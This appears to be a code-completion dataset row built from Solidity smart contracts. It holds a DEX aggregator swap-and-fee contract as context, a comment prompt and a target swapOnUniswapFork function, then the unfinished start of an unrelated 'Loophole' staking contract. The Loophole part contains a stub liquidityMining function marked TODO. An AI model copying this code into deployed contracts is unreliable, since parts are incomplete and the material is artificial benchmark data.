uint receivedAmount = performSimpleSwap(
fromToken,
toToken,
fromAmount,
toAmount,
toAmount,//expected amount and to amount are same in case of buy
callees,
exchangeData,
startIndexes,
values,
beneficiary,
referrer,
useReduxToken
);
uint256 remainingAmount = Utils.tokenBalance(
fromToken,
address(this)
);
if (remainingAmount > 0) {
Utils.transferTokens(address(fromToken), msg.sender, remainingAmount);
}
emit Bought(
msg.sender,
beneficiary,
fromToken,
toToken,
fromAmount,
receivedAmount,
referrer
);
}
function approve(
address token,
address to,
uint256 amount
)
external
onlySelf
{
Utils.approve(to, token, amount);
}
function simpleSwap(
address fromToken,
address toToken,
uint256 fromAmount,
uint256 toAmount,
uint256 expectedAmount,
address[] memory callees,
bytes memory exchangeData,
uint256[] memory startIndexes,
uint256[] memory values,
address payable beneficiary,
string memory referrer,
bool useReduxToken
)
public
payable
returns (uint256 receivedAmount)
{
beneficiary = beneficiary == address(0) ? msg.sender : beneficiary;
receivedAmount = performSimpleSwap(
fromToken,
toToken,
fromAmount,
toAmount,
expectedAmount,
callees,
exchangeData,
startIndexes,
values,
beneficiary,
referrer,
useReduxToken
);
emit Swapped(
msg.sender,
beneficiary,
fromToken,
toToken,
fromAmount,
receivedAmount,
expectedAmount,
referrer
);
return receivedAmount;
}
function transferTokensFromProxy(
address token,
uint256 amount
)
private
{
if (token != Utils.ethAddress()) {
_tokenTransferProxy.transferFrom(
token,
msg.sender,
address(this),
amount
);
}
}
function performSimpleSwap(
address fromToken,
address toToken,
uint256 fromAmount,
uint256 toAmount,
uint256 expectedAmount,
address[] memory callees,
bytes memory exchangeData,
uint256[] memory startIndexes,
uint256[] memory values,
address payable beneficiary,
string memory referrer,
bool useReduxToken
)
private
returns (uint256 receivedAmount)
{
require(toAmount > 0, "toAmount is too low");
require(
callees.length + 1 == startIndexes.length,
"Start indexes must be 1 greater then number of callees"
);
uint initialGas = gasleft();
//If source token is not ETH than transfer required amount of tokens
//from sender to this contract
transferTokensFromProxy(fromToken, fromAmount);
for (uint256 i = 0; i < callees.length; i++) {
require(
callees[i] != address(_tokenTransferProxy),
"Can not call TokenTransferProxy Contract"
);
bool result = externalCall(
callees[i], //destination
values[i], //value to send
startIndexes[i], // start index of call data
startIndexes[i + 1].sub(startIndexes[i]), // length of calldata
exchangeData// total calldata
);
require(result, "External call failed");
}
receivedAmount = Utils.tokenBalance(
toToken,
address(this)
);
require(
receivedAmount >= toAmount,
"Received amount of tokens are less then expected"
);
takeFeeAndTransferTokens(
toToken,
expectedAmount,
receivedAmount,
beneficiary,
referrer
);
if (useReduxToken) {
Utils.refundGas(msg.sender, address(_tokenTransferProxy), initialGas);
}
return receivedAmount;
}
/**
* @dev This function sends the WETH returned during the exchange to the user.
* @param token: The WETH Address
*/
function withdrawAllWETH(IWETH token) external onlySelf {
uint256 amount = token.balanceOf(address(this));
token.withdraw(amount);
}
/**
* @dev The function which performs the multi path swap.
* @param data Data required to perform swap.
*/
function multiSwap(
Utils.SellData memory data
)
public
payable
returns (uint256)
{
uint initialGas = gasleft();
address fromToken = data.fromToken;
uint256 fromAmount = data.fromAmount;
uint256 toAmount = data.toAmount;
uint256 expectedAmount = data.expectedAmount;
address payable beneficiary = data.beneficiary == address(0) ? msg.sender : data.beneficiary;
string memory referrer = data.referrer;
Utils.Path[] memory path = data.path;
address toToken = path[path.length - 1].to;
bool useReduxToken = data.useReduxToken;
//Referral can never be empty
require(bytes(referrer).length > 0, "Invalid referrer");
require(toAmount > 0, "To amount can not be 0");
//if fromToken is not ETH then transfer tokens from user to this contract
if (fromToken != Utils.ethAddress()) {
_tokenTransferProxy.transferFrom(
fromToken,
msg.sender,
address(this),
fromAmount
);
}
performSwap(
fromToken,
fromAmount,
path
);
uint256 receivedAmount = Utils.tokenBalance(
toToken,
address(this)
);
require(
receivedAmount >= toAmount,
"Received amount of tokens are less then expected"
);
takeFeeAndTransferTokens(
toToken,
expectedAmount,
receivedAmount,
beneficiary,
referrer
);
if (useReduxToken) {
Utils.refundGas(msg.sender, address(_tokenTransferProxy), initialGas);
}
emit Swapped(
msg.sender,
beneficiary,
fromToken,
toToken,
fromAmount,
receivedAmount,
expectedAmount,
referrer
);
return receivedAmount;
}
/**
* @dev The function which performs the mega path swap.
* @param data Data required to perform swap.
*/
function megaSwap(
Utils.MegaSwapSellData memory data
)
public
payable
returns (uint256)
{
uint initialGas = gasleft();
address fromToken = data.fromToken;
uint256 fromAmount = data.fromAmount;
uint256 toAmount = data.toAmount;
uint256 expectedAmount = data.expectedAmount;
address payable beneficiary = data.beneficiary == address(0) ? msg.sender : data.beneficiary;
string memory referrer = data.referrer;
Utils.MegaSwapPath[] memory path = data.path;
address toToken = path[0].path[path[0].path.length - 1].to;
bool useReduxToken = data.useReduxToken;
//Referral can never be empty
require(bytes(referrer).length > 0, "Invalid referrer");
require(toAmount > 0, "To amount can not be 0");
//if fromToken is not ETH then transfer tokens from user to this contract
if (fromToken != Utils.ethAddress()) {
_tokenTransferProxy.transferFrom(
fromToken,
msg.sender,
address(this),
fromAmount
);
}
for (uint8 i = 0; i < uint8(path.length); i++) {
uint256 _fromAmount = fromAmount.mul(path[i].fromAmountPercent).div(10000);
if (i == path.length - 1) {
_fromAmount = Utils.tokenBalance(address(fromToken), address(this));
}
performSwap(
fromToken,
_fromAmount,
path[i].path
);
}
uint256 receivedAmount = Utils.tokenBalance(
toToken,
address(this)
);
require(
receivedAmount >= toAmount,
"Received amount of tokens are less then expected"
);
takeFeeAndTransferTokens(
toToken,
expectedAmount,
receivedAmount,
beneficiary,
referrer
);
if (useReduxToken) {
Utils.refundGas(msg.sender, address(_tokenTransferProxy), initialGas);
}
emit Swapped(
msg.sender,
beneficiary,
fromToken,
toToken,
fromAmount,
receivedAmount,
expectedAmount,
referrer
);
return receivedAmount;
}
/**
* @dev The function which performs the single path buy.
* @param data Data required to perform swap.
*/
function buy(
Utils.BuyData memory data
)
public
payable
returns (uint256)
{
address fromToken = data.fromToken;
uint256 fromAmount = data.fromAmount;
uint256 toAmount = data.toAmount;
address payable beneficiary = data.beneficiary == address(0) ? msg.sender : data.beneficiary;
string memory referrer = data.referrer;
Utils.BuyRoute[] memory route = data.route;
address toToken = data.toToken;
bool useReduxToken = data.useReduxToken;
//Referral id can never be empty
require(bytes(referrer).length > 0, "Invalid referrer");
require(toAmount > 0, "To amount can not be 0");
uint256 receivedAmount = performBuy(
fromToken,
toToken,
fromAmount,
toAmount,
route,
useReduxToken
);
takeFeeAndTransferTokens(
toToken,
toAmount,
receivedAmount,
beneficiary,
referrer
);
uint256 remainingAmount = Utils.tokenBalance(
fromToken,
address(this)
);
if (remainingAmount > 0) {
Utils.transferTokens(fromToken, msg.sender, remainingAmount);
}
emit Bought(
msg.sender,
beneficiary,
fromToken,
toToken,
fromAmount,
receivedAmount,
referrer
);
return receivedAmount;
}
//Helper function to transfer final amount to the beneficiaries
function takeFeeAndTransferTokens(
address toToken,
uint256 expectedAmount,
uint256 receivedAmount,
address payable beneficiary,
string memory referrer
)
private
{
uint256 remainingAmount = receivedAmount;
address partnerContract = _partnerRegistry.getPartnerContract(referrer);
//Take partner fee
( uint256 fee ) = _takeFee(
toToken,
receivedAmount,
expectedAmount,
partnerContract
);
remainingAmount = receivedAmount.sub(fee);
//If there is a positive slippage after taking partner fee then 50% goes to paraswap and 50% to the user
if ((remainingAmount > expectedAmount) && fee == 0) {
uint256 positiveSlippageShare = remainingAmount.sub(expectedAmount).div(2);
remainingAmount = remainingAmount.sub(positiveSlippageShare);
Utils.transferTokens(toToken, _feeWallet, positiveSlippageShare);
}
Utils.transferTokens(toToken, beneficiary, remainingAmount);
}
/**
* @dev Source take from GNOSIS MultiSigWallet
* @dev https://github.com/gnosis/MultiSigWallet/blob/master/contracts/MultiSigWallet.sol
*/
function externalCall(
address destination,
uint256 value,
uint256 dataOffset,
uint dataLength,
bytes memory data
)
private
returns (bool)
{
bool result = false;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas(), 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
add(d, dataOffset),
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
//Helper function to perform swap
function performSwap(
address fromToken,
uint256 fromAmount,
Utils.Path[] memory path
)
private
{
require(path.length > 0, "Path not provided for swap");
//Assuming path will not be too long to reach out of gas exception
for (uint i = 0; i < path.length; i++) {
//_fromToken will be either fromToken or toToken of the previous path
address _fromToken = i > 0 ? path[i - 1].to : fromToken;
address _toToken = path[i].to;
uint256 _fromAmount = i > 0 ? Utils.tokenBalance(_fromToken, address(this)) : fromAmount;
if (i > 0 && _fromToken == Utils.ethAddress()) {
_fromAmount = _fromAmount.sub(path[i].totalNetworkFee);
}
for (uint j = 0; j < path[i].routes.length; j++) {
Utils.Route memory route = path[i].routes[j];
//Check if exchange is supported
require(
_whitelisted.hasRole(_whitelisted.WHITELISTED_ROLE(), route.exchange),
"Exchange not whitelisted"
);
//Calculating tokens to be passed to the relevant exchange
//percentage should be 200 for 2%
uint fromAmountSlice = _fromAmount.mul(route.percent).div(10000);
uint256 value = route.networkFee;
if (i > 0 && j == path[i].routes.length.sub(1)) {
uint256 remBal = Utils.tokenBalance(address(_fromToken), address(this));
fromAmountSlice = remBal;
if (address(_fromToken) == Utils.ethAddress()) {
//subtract network fee
fromAmountSlice = fromAmountSlice.sub(value);
}
}
//DELEGATING CALL TO THE ADAPTER
(bool success,) = route.exchange.delegatecall(
abi.encodeWithSelector(
IExchange.swap.selector,
_fromToken,
_toToken,
fromAmountSlice,
1,
route.targetExchange,
route.payload
)
);
require(success, "Call to adapter failed");
}
}
}
//Helper function to perform swap
function performBuy(
address fromToken,
address toToken,
uint256 fromAmount,
uint256 toAmount,
Utils.BuyRoute[] memory routes,
bool useReduxToken
)
private
returns(uint256)
{
uint initialGas = gasleft();
//if fromToken is not ETH then transfer tokens from user to this contract
if (fromToken != Utils.ethAddress()) {
_tokenTransferProxy.transferFrom(
fromToken,
msg.sender,
address(this),
fromAmount
);
}
for (uint j = 0; j < routes.length; j++) {
Utils.BuyRoute memory route = routes[j];
//Check if exchange is supported
require(
_whitelisted.hasRole(_whitelisted.WHITELISTED_ROLE(), route.exchange),
"Exchange not whitelisted"
);
//delegate Call to the exchange
(bool success,) = route.exchange.delegatecall(
abi.encodeWithSelector(
IExchange.buy.selector,
fromToken,
toToken,
route.fromAmount,
route.toAmount,
route.targetExchange,
route.payload
)
);
require(success, "Call to adapter failed");
}
uint256 receivedAmount = Utils.tokenBalance(
toToken,
address(this)
);
require(
receivedAmount >= toAmount,
"Received amount of tokens are less then expected tokens"
);
if (useReduxToken) {
Utils.refundGas(msg.sender, address(_tokenTransferProxy), initialGas);
}
return receivedAmount;
}
function _takeFee(
address toToken,
uint256 receivedAmount,
uint256 expectedAmount,
address partnerContract
)
private
returns(uint256 fee)
{
//If there is no partner associated with the referral id then no fee will be taken
if (partnerContract == address(0)) {
return (0);
}
(
address payable partnerFeeWallet,
uint256 feePercent,
uint256 partnerSharePercent,
,
bool positiveSlippageToUser,
bool noPositiveSlippage
) = IPartner(partnerContract).getPartnerInfo();
uint256 partnerShare = 0;
uint256 paraswapShare = 0;
if (!noPositiveSlippage && feePercent <= 50 && receivedAmount > expectedAmount) {
uint256 halfPositiveSlippage = receivedAmount.sub(expectedAmount).div(2);
//Calculate total fee to be taken
fee = expectedAmount.mul(feePercent).div(10000);
//Calculate partner's share
partnerShare = fee.mul(partnerSharePercent).div(10000);
//All remaining fee is paraswap's share
paraswapShare = fee.sub(partnerShare);
paraswapShare = paraswapShare.add(halfPositiveSlippage);
fee = fee.add(halfPositiveSlippage);
if (!positiveSlippageToUser) {
partnerShare = partnerShare.add(halfPositiveSlippage);
fee = fee.add(halfPositiveSlippage);
}
}
else {
//Calculate total fee to be taken
fee = receivedAmount.mul(feePercent).div(10000);
//Calculate partner's share
partnerShare = fee.mul(partnerSharePercent).div(10000);
//All remaining fee is paraswap's share
paraswapShare = fee.sub(partnerShare);
}
Utils.transferTokens(toToken, partnerFeeWallet, partnerShare);
Utils.transferTokens(toToken, _feeWallet, paraswapShare);
emit FeeTaken(fee, partnerShare, paraswapShare);
return (fee);
}
}
|
DELEGATING CALL TO THE ADAPTER
|
function swapOnUniswapFork(
address factory,
bytes32 initCode,
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
uint8 referrer
)
external
payable
{
(bool success, bytes memory result) = _uniswapProxy.delegatecall(
abi.encodeWithSelector(
IUniswapProxy.swapOnUniswapFork.selector,
factory,
initCode,
amountIn,
amountOutMin,
path
)
);
require(success, "Call to uniswap proxy failed");
}
| 525,328 |
pragma solidity >=0.6.0 <0.8.0;
//pragma solidity =0.7.6;
pragma abicoder v2; //needed to return struct
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import '@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol';
import '@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol';
import "../../IERC20Events.sol";
import "./ILoophole.sol";
import "../../utils/Ownable.sol";
import "../../uniswap/UniswapV3RouterBridge.sol";
/// @title LoopHole Finance smart contract
contract Loophole is ILoophole, IERC20events, Ownable, Context, UniswapV3RouterBridge {
using SafeMath for uint256;
//NOTE: if we need specific event we need them in the smart contract
//event Transfer(address indexed from, address indexed to, uint256 value);
// hundred constant used in percentage calculations as parts/100
uint256 private immutable HUNDRED = 100;
// two hundred constant used in percentage calculations as parts/100/2
uint256 private immutable TWO_HUNDRED = 200;
// LOOP POOL indx in the pools list
uint256 private immutable LOOP_POOL_INDEX = 0;
/// @notice Liquidity Provider reward token
address public lpToken;
/// @notice amount of LP tokens to reward per block
uint256 public lpTokensPerBlock;
// we use the uniswap pool fee 0.3%.
uint24 public immutable uniswapPoolFee = 3000;
// for details about this variable, please read the NOTE below 'accLPtokensPerShare' in PoolInfo struct
uint256 public immutable LPtokensPerShareMultiplier = 1e12;
// maps poolId-user-UserInfo
mapping(uint256 => mapping(address => UserInfo)) private userInfo;
// LOOP pool is on index 0, the rest are MAIN pools
PoolInfo[] private poolInfo;
uint256 public totalAllocPoint = 0; // automated track of total allocated points of all pools = sum of all pools points
uint256 public startBlock; // start block for liquidity mining LP tokens
mapping (address => bool) public poolExists; //mapping for existent pools by given token address.
// MAIN pool type exit penalty, applied to user current staked amount as e.g 20 for 20 %
uint256 public immutable exitPenalty;
// LOOP pool exit penalty, applied to user current staked amount + profit from pool distribution, as e.g 20 for 20 %
uint256 public immutable exitPenaltyLP;
/// @notice constructor
/// @param _swapRouter Uniswap SwapRouter address to access the market for tokens exchange
/// @param _lpToken Liquidity Provider token address as IERC20
/// @param _lpTokensPerBlock LP tokens amount reward per mining block
/// @param _startBlock Start block for mining reward
/// @param _exitPenalty Exit penalty from main pool, for example 20 for 20 %
/// @param _exitPenaltyLP Exit penalty from loop pool, for example 20 for 20 %
constructor(
ISwapRouter _swapRouter
, IERC20 _lpToken
, uint256 _lpTokensPerBlock
, uint256 _startBlock
, uint256 _exitPenalty
, uint256 _exitPenaltyLP
) UniswapV3RouterBridge(_swapRouter) {
lpToken = address(_lpToken);
lpTokensPerBlock = _lpTokensPerBlock;
startBlock = _startBlock;
exitPenalty = _exitPenalty; //20; // default value is 20% as 20
exitPenaltyLP = _exitPenaltyLP; //10; // default value is 10% as 10
// zero is poolAllocPoint for LOOP pool, this is a LP tokens reward pool
add(_lpToken, 0);
}
/// Modifiers
modifier requireMainPool(uint256 pid) {
_requireMainPool(pid);
_;
}
modifier requireValidPid(uint256 pid) {
_requireValidPid(pid);
_;
}
modifier requireNewPool(address token) {
_requireNewPool(token);
_;
}
modifier requireNewAllocPoint(uint256 pid, uint256 allocPoint) {
_requireNewAllocPoint(pid, allocPoint);
_;
}
/// Modifier helper functions, used to reduse/optimize contract bytesize
// require given pool id to be MAIN pool index, different then LOOP pool index
function _requireMainPool(uint256 pid) internal pure {
require(pid != LOOP_POOL_INDEX, "PID_LOOP"); //PID is LOOP pool
}
// require given pool id to be in range
function _requireValidPid(uint256 pid) internal view {
require(pid < poolInfo.length, "PID_OORI"); //PID Out Of Range Index
}
// require new pool token address only
function _requireNewPool(address token) internal view {
require(poolExists[token] == false, "TPE"); //Token Pool Exists
}
// require new allocation point for pool
function _requireNewAllocPoint(uint256 pid, uint256 allocPoint) internal view {
require(poolInfo[pid].allocPoint != allocPoint, "PID_NR"); //PID New Required
}
/// Features
/// @notice add/enable new pool, only owner mode
/// @dev ADD | NEW TOKEN POOL
/// @param token Token address as IERC20
/// @param allocPoint Pool allocation point/share distributed to this pool from mining rewards
/// @return pid added token pool index
function add(
IERC20 token
, uint256 allocPoint // when zero it is the LOOP pool
) public onlyOwner requireNewPool(address(token)) virtual override returns (uint256 pid) {
uint256 lastRewardBlock = getBlockNumber() > startBlock ? getBlockNumber() : startBlock;
totalAllocPoint = totalAllocPoint.add(allocPoint);
poolInfo.push(PoolInfo({
token: address(token),
allocPoint: allocPoint,
totalPool: 0,
entryStakeTotal: 0,
totalDistributedPenalty: 0,
lastRewardBlock: lastRewardBlock,
accLPtokensPerShare: 0
}));
poolExists[address(token)] = true;
emit PoolAdded(address(token), allocPoint, poolInfo.length-1);
return (poolInfo.length-1);
}
/// @notice update pool allocation point/share
/// @dev UPDATE | ALLOCATION POINT
/// @param pid Pool id
/// @param allocPoint Set allocation point/share for pool id
/// @param withUpdate Update all pools and distribute mining reward for all
function set(uint256 pid, uint256 allocPoint, bool withUpdate) external
onlyOwner
requireMainPool(pid)
requireValidPid(pid)
requireNewAllocPoint(pid, allocPoint)
virtual override
{
if (withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[pid].allocPoint).add(allocPoint);
poolInfo[pid].allocPoint = allocPoint;
emit PoolSet(address(poolInfo[pid].token), allocPoint, pid);
}
// Main Pools and Loop Pool
/// @notice stake tokens on given pool id
/// @param pid Pool id
/// @param amount The token amount user wants to stake to the pool.
function stake(uint256 pid, uint256 amount) external requireValidPid(pid) virtual override {
if (isMainPoolId(pid)) //LOOP pool can not be mined for LP rewards
_updatePool(pid);
PoolInfo storage pool = poolInfo[pid];
UserInfo storage user = userInfo[pid][_msgSender()];
// withdraw LP rewards based on user current stake
if (isMainPoolId(pid))
withdrawLPrewards(pid, pool.accLPtokensPerShare, user.payRewardMark);
adjustBalancesStakeEntry(pool, user, amount);
TransferHelper.safeTransferFrom(pool.token, _msgSender(), address(this), amount);
// update LP rewards withdrawn
if (isMainPoolId(pid))
updateLPrewardsPaid(pid, pool.accLPtokensPerShare, user);
emit Deposit(_msgSender(), pid, amount);
}
/// @notice user exit staking amount from main pool, require main pool only
/// @param pid Pool id
/// @param amount The token amount user wants to exit/unstake from the pool.
/// @param amountOutMinimum The min LP token amount expected to be received from exchange,
/// needed from outside for security reasons, using zero value in production is discouraged.
/// @return net tokens amount sent to user address
function exit(uint256 pid, uint256 amount, uint256 amountOutMinimum) external
requireMainPool(pid)
requireValidPid(pid)
virtual override
returns (uint256)
{
_updatePool(pid);
PoolInfo storage pool = poolInfo[pid];
UserInfo storage user = userInfo[pid][_msgSender()];
// withdraw LP rewards based on user current stake
withdrawLPrewards(pid, pool.accLPtokensPerShare, user.payRewardMark);
adjustBalancesStakeExit(pool, user, pid, amount);
uint256 exitPenaltyAmount;
if (pool.totalPool == 0) { // last user exited his whole stake/amount
// no exit penalty amount is added to pool.totalDistributedPenalty in this case
// whole exit penalty is swaped via uniswap and added to LOOP pool
exitPenaltyAmount = amount.mul(exitPenalty).div(HUNDRED);
}
else {
//NOTE: x_tokens = amount * (exitPenalty / 2)
//NOTE: x_tokens go back into the pool for distribution to the rest of the users
//NOTE: the other x_tokens go to exchange for LP tokens
// totalPool = totalPool - amount * (1 - exitPenalty / 2);
//NOTE: due to rounding margin error the contract might have more tokens than specified by pool variables
//NOTE: for example 21 tokens, 50% of it is 10 as we work with integers, 1 token is still in the contract
exitPenaltyAmount = amount.mul(exitPenalty).div(TWO_HUNDRED); //div(HUNDRED).div(2)
pool.totalDistributedPenalty = pool.totalDistributedPenalty.add(exitPenaltyAmount);
pool.totalPool = pool.totalPool.add(exitPenaltyAmount);
}
uint256 amountLP = swapCollectedPenalty(pool.token, exitPenaltyAmount, amountOutMinimum);
addRewardToLoopPool(amountLP);
emit TokenExchanged(_msgSender(), pool.token, exitPenaltyAmount, lpToken, amountLP);
uint256 withdrawAmount = amount.mul(HUNDRED.sub(exitPenalty)).div(HUNDRED); //amount * (1 - exitPenalty);
user.unstake = user.unstake.add(withdrawAmount);
TransferHelper.safeTransfer(pool.token, _msgSender(), withdrawAmount);
emit Withdraw(_msgSender(), pid, amount, withdrawAmount);
// update LP rewards withdrawn
updateLPrewardsPaid(pid, pool.accLPtokensPerShare, user);
return withdrawAmount;
}
/// @notice User exit staking amount from LOOP pool, require LOOP pool only
/// @param amount The token amount user wants to exit/unstake from the pool.
/// @return net tokens amount sent to user address
function exit(uint256 amount) external virtual override returns (uint256) {
uint256 pid = LOOP_POOL_INDEX;
PoolInfo storage pool = poolInfo[pid];
UserInfo storage user = userInfo[pid][_msgSender()];
adjustBalancesStakeExit(pool, user, pid, amount);
//NOTE: x_tokens = amount * exitPenaltyLP / 2
//NOTE: x_tokens go back into the LOOP pool for distribution to the rest of the users
//NOTE: the other x_tokens are burnt
uint256 exitPenaltyAmount = amount.mul(exitPenaltyLP).div(HUNDRED); //amount * exitPenaltyLP
liquidityMining(exitPenaltyAmount); // LP tokens back to Liquidity Mining available for mining rewards
//burn(exitPenaltyAmount);
uint256 withdrawAmount = amount.mul(HUNDRED.sub(exitPenaltyLP)).div(HUNDRED); //amount * (1 - exitPenaltyLP);
user.unstake = user.unstake.add(withdrawAmount);
TransferHelper.safeTransfer(pool.token, _msgSender(), withdrawAmount);
emit Withdraw(_msgSender(), pid, amount, withdrawAmount);
return withdrawAmount;
}
/// @notice View pending LP token rewards for user
/// @dev VIEW | PENDING REWARD
/// @param pid Pool id of main pool
/// @param userAddress User address to check pending rewards for
/// @return Pending LP token rewards for user
function getUserReward(uint256 pid, address userAddress)
requireMainPool(pid)
requireValidPid(pid)
external view virtual override returns (uint256)
{
PoolInfo storage pool = poolInfo[pid];
UserInfo storage user = userInfo[pid][userAddress];
uint256 accLPtokensPerShare = pool.accLPtokensPerShare;
//uint256 lpSupply = pool.token.balanceOf(address(this));
uint256 lpSupply = pool.totalPool;
if (getBlockNumber() > pool.lastRewardBlock && lpSupply != 0) {
uint256 lpTokensReward = getPoolReward(pool);
// calculate LP tokens per pool token of selected pid pool
accLPtokensPerShare = accLPtokensPerShare.add(lpTokensReward.mul(LPtokensPerShareMultiplier).div(lpSupply));
}
uint256 currentRewardMark = currentStake(pid, userAddress).mul(accLPtokensPerShare).div(LPtokensPerShareMultiplier);
if (currentRewardMark > user.payRewardMark)
return currentRewardMark.sub(user.payRewardMark);
else return 0;
}
/// @notice Adjust balances for stake operation
/// @param pool Pool storage struct
/// @param user User storage struct
/// @param amount Token amount to stake
function adjustBalancesStakeEntry(PoolInfo storage pool, UserInfo storage user, uint256 amount) internal
{
// check div by 0 when totalPool = 0
uint256 newEntryStake;
if (pool.totalPool == 0 || pool.entryStakeTotal == 0)
newEntryStake = amount;
else newEntryStake = amount.mul(pool.entryStakeTotal).div(pool.totalPool);
user.entryStakeAdjusted = user.entryStakeAdjusted.add(newEntryStake);
pool.entryStakeTotal = pool.entryStakeTotal.add(newEntryStake);
user.entryStake = user.entryStake.add(amount);
pool.totalPool = pool.totalPool.add(amount);
}
/// @notice Adjust balances for unstake/exit operation
/// @param pool Pool storage struct
/// @param user User storage struct
/// @param pid Pool id
/// @param amount Token amount to unstake/exit
function adjustBalancesStakeExit(PoolInfo storage pool, UserInfo storage user, uint256 pid, uint256 amount) internal
{
uint256 userCurrentStake = currentStake(pid, _msgSender());
uint256 exitAmount = amount.mul(user.entryStakeAdjusted).div(userCurrentStake);
pool.entryStakeTotal = pool.entryStakeTotal.sub(exitAmount);
user.entryStakeAdjusted = user.entryStakeAdjusted.sub(exitAmount);
pool.totalPool = pool.totalPool.sub(amount);
}
/// @notice Withdraw available LP reward for pool id
/// @dev Use this function paired with 'updateLPrewardsPaid' on deposits, withdraws and lp rewards withdrawals.
/// @param pid Pool id
/// @param poolAccLPtokensPerShare Pool accLPtokensPerShare
/// @param userPayRewardMark User payRewardMark
/// @return LP reward withdrawn
function withdrawLPrewards(uint256 pid, uint256 poolAccLPtokensPerShare, uint256 userPayRewardMark) internal returns (uint256)
{
uint256 userCurrentStake = currentStake(pid, _msgSender());
uint256 accReward = userCurrentStake.mul(poolAccLPtokensPerShare).div(LPtokensPerShareMultiplier);
if (accReward > userPayRewardMark) { // send pending rewards, if applicable
uint256 reward = accReward.sub(userPayRewardMark);
TransferHelper.safeTransfer(lpToken, _msgSender(), reward);
emit Collect(_msgSender(), pid, reward);
return reward;
}
else return 0;
}
/// @notice Update accumulated withdrawn LP rewards
/// @dev Use this function paired with 'withdrawLPrewards' on deposits, withdraws and lp rewards withdrawals.
/// @param pid Pool id
/// @param poolAccLPtokensPerShare Pool accLPtokensPerShare
/// @param user UserInfo pointer
function updateLPrewardsPaid(uint256 pid, uint256 poolAccLPtokensPerShare, UserInfo storage user) internal
{
uint256 userCurrentStake = currentStake(pid, _msgSender());
user.payRewardMark = userCurrentStake.mul(poolAccLPtokensPerShare).div(LPtokensPerShareMultiplier);
}
/// @notice User collects his share of LP tokens reward
/// @dev Internal function to be called by other external ones,
/// checks/modifiers are used in external functions only to avoid duplicates.
/// @param pid Pool id
/// @return LP reward tokens amount sent to user address
function _collectRewards(uint256 pid) internal returns (uint256)
{
_updatePool(pid);
PoolInfo storage pool = poolInfo[pid];
UserInfo storage user = userInfo[pid][_msgSender()];
uint256 poolAccLPtokensPerShare = pool.accLPtokensPerShare;
uint256 reward = withdrawLPrewards(pid, poolAccLPtokensPerShare, user.payRewardMark);
updateLPrewardsPaid(pid, poolAccLPtokensPerShare, user);
return reward;
}
/// @notice User collects his share of LP tokens reward
/// @param pid Pool id
/// @return LP reward tokens amount sent to user address
function collectRewards(uint256 pid)
requireMainPool(pid)
requireValidPid(pid)
external virtual override returns (uint256)
{
return _collectRewards(pid);
}
/// @notice current total user stake in a given pool
/// @param pid Pool id
/// @param user The user address
/// @return stake tokens amount
function currentStake(uint256 pid, address user) requireValidPid(pid) public view virtual override returns (uint256) {
PoolInfo storage pool = poolInfo[pid];
if (pool.entryStakeTotal == 0)
return 0;
return pool.totalPool.mul(userInfo[pid][user].entryStakeAdjusted).div(pool.entryStakeTotal);
}
/// @notice percentage of how much a user has earned so far from the other users exit, would be just a statistic
/// @param pid Pool id
/// @param user The user address
/// @return earnings percent as integer
function earnings(uint256 pid, address user) requireValidPid(pid) external view virtual override returns (uint256) {
UserInfo storage userData = userInfo[pid][user];
return (userData.unstake.add(currentStake(pid, user))).div(userData.entryStake);
}
// Main Pools
/// @notice swap collected penalty from main pools exits for LOOPhole (LP) tokens in the open market
/// @param tokenIn Token address we exchange for LP tokens
/// @param amount The tokens amount to be exchanged for LP tokens
/// @param amountOutMinimum The min LP tokens amount to be received from exchange, needed for security reasons
/// @return amountLP Amount of LP tokens
function swapCollectedPenalty(address tokenIn, uint256 amount, uint256 amountOutMinimum) internal returns (uint256 amountLP) {
//uniswap call to exchange given tokens for LP tokens
amountLP = swapExactInputSingle(tokenIn, poolInfo[LOOP_POOL_INDEX].token, uniswapPoolFee, address(this), amount, amountOutMinimum);
}
/// @notice send LP tokens back to Liquidity Mining available for mining rewards.
/// @dev amount is the LP tokens
/// @param amount LP tokens
function liquidityMining(uint256 amount) internal {
//TODO: ... something else needed like send tokens where?
}
// Loop Pool
/// @notice adds to the LOOP pool the amount in LOOPhole tokens corresponding to half the penalty for leaving the main pools.
/// @param amount Tokens amount to add to the LOOP pool
function addRewardToLoopPool(uint256 amount) internal {
poolInfo[LOOP_POOL_INDEX].totalDistributedPenalty = poolInfo[LOOP_POOL_INDEX].totalDistributedPenalty.add(amount);
poolInfo[LOOP_POOL_INDEX].totalPool = poolInfo[LOOP_POOL_INDEX].totalPool.add(amount);
}
/// @notice get blocks range given two block numbers, usually computes blocks elapsed since last mining reward block.
/// @dev RETURN | BLOCK RANGE SINCE LAST REWARD AS REWARD MULTIPLIER | INCLUDES START BLOCK
/// @param from block start
/// @param to block end
/// @return blocks count
function getBlocksFromRange(uint256 from, uint256 to) public view virtual override returns (uint256) {
from = from >= startBlock ? from : startBlock;
return to.sub(from);
}
/// @notice update all pools for mining rewards
/// @dev UPDATE | (ALL) REWARD VARIABLES | BEWARE: HIGH GAS POTENTIAL
function massUpdatePools() public virtual override {
uint256 length = poolInfo.length;
// only main pools, 0 index is for LOOP pool
for (uint256 pid = 1; pid < length; ++pid) {
_updatePool(pid);
}
}
/// @notice Update pool to trigger LP tokens reward since last reward mining block
/// @dev UPDATE | (ONE POOL) REWARD VARIABLES
/// @param pid Pool id
/// @return blocksElapsed Blocks elapsed since last reward block
/// @return lpTokensReward Amount of LP tokens reward since last reward block
/// @return accLPtokensPerShare Pool accumulated LP tokens per pool token (per share)
function _updatePool(uint256 pid) internal returns (uint256 blocksElapsed, uint256 lpTokensReward, uint256 accLPtokensPerShare) {
PoolInfo storage pool = poolInfo[pid];
